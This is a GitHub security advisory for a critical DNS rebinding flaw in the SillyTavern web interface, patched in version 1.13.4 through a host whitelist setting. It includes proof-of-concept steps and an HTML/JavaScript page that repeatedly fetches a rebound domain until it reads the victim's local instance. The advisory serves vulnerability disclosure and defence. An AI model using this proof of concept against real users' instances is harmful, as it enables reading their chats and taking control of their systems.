Skip to content

SillyTavern Web Interface Vulnerable DNS Rebinding

Critical severity GitHub Reviewed Published Oct 5, 2025 in SillyTavern/SillyTavern • Updated Oct 6, 2025

Package

npm sillytavern (npm)

Affected versions

< 1.13.4

Patched versions

1.13.4

Description

Summary

The web UI for SillyTavern is susceptible to DNS rebinding, allowing attackers to perform actions like install malicious extensions, read chats, inject arbitrary HTML for phishing, etc.

Details

DNS rebinding is a method to bypass the CORS policies by tricking the browser into resolving something like 127.0.0.1 for a site's DNS address. This allows anybody to get remote access to anyone's SillyTavern instance without it being exposed, just by visiting a website.

PoC

  1. Host the PoC HTML file on a /rebind.html endpoint (or any other endpoint) on a web server on port 8000
  2. Go to https://lock.cmpxchg8b.com/rebinder.html and input your IP address (A) to rebind to 127.0.0.1 (B)
  3. Replace the URL in the HTML with the returned URL on the site
  4. Go to http://[URL]:8000/rebind.html in firefox or on any mobile browser if you're using termux
  5. Check the developer tools console. It should return all of the data

Here is the PoC code:

<!DOCTYPE html>
<html>
<head>
  <meta charset="utf-8">
  <title>Rebind Payload</title>
</head>
<body>
<script>
async function tryRebind() {
  while (true) {
    try {
      let res = await fetch("http://[DOMAIN HERE]:8000/");
      let text = await res.text();

      if (text.includes("Directory listing for /")) {
        console.log("Still attacker server, retrying...");
        await new Promise(r => setTimeout(r, 2000));
        continue;  // don't break yet
      }

      console.log("GOT VICTIM RESPONSE!");
      console.log(text.substring(0, 300));
      break;

    } catch (e) {
      console.log("Fetch failed, retrying...", e);
      await new Promise(r => setTimeout(r, 2000));
    }
  }
}
tryRebind();
</script>
</body>
</html>

Impact

Attackers can read user chats, inject HTML for stuff like phishing, download arbitrary malicious extensions, etc. Essentially gaining full control over users' SillyTavern systems.

Resolution

A vulnerability has been patched in the version 1.13.4 by introducing a server configuration setting that enables a validation of host names in inbound HTTP requests according to the provided list of allowed hosts: hostWhitelist.enabled in config.yaml file or SILLYTAVERN_HOSTWHITELIST_ENABLED environment variable.

While the setting is disabled by default to honor a wide variety of existing user configurations and maintain backwards compatibility, existing and new users are encouraged to review their server configurations and apply necessary changes to their setup, especially if hosting over the local network while not using SSL.

Resources

References

@Cohee1207 Cohee1207 published to SillyTavern/SillyTavern Oct 5, 2025
Published by the National Vulnerability Database Oct 6, 2025
Published to the GitHub Advisory Database Oct 6, 2025
Reviewed Oct 6, 2025
Last updated Oct 6, 2025

Severity

Critical

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
Required
Scope
Changed
Confidentiality
High
Integrity
High
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H

EPSS score

Exploit Prediction Scoring System (EPSS)

This score estimates the probability of this vulnerability being exploited within the next 30 days. Data provided by FIRST.
(4th percentile)

Weaknesses

Origin Validation Error

The product does not properly verify that the source of data or communication is valid. Learn more on MITRE.

Improper Verification of Source of a Communication Channel

The product establishes a communication channel to handle an incoming request that has been initiated by an actor, but it does not properly verify that the request is coming from the expected origin. Learn more on MITRE.

CVE ID

CVE-2025-59159

GHSA ID

GHSA-7cxj-w27x-x78q

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.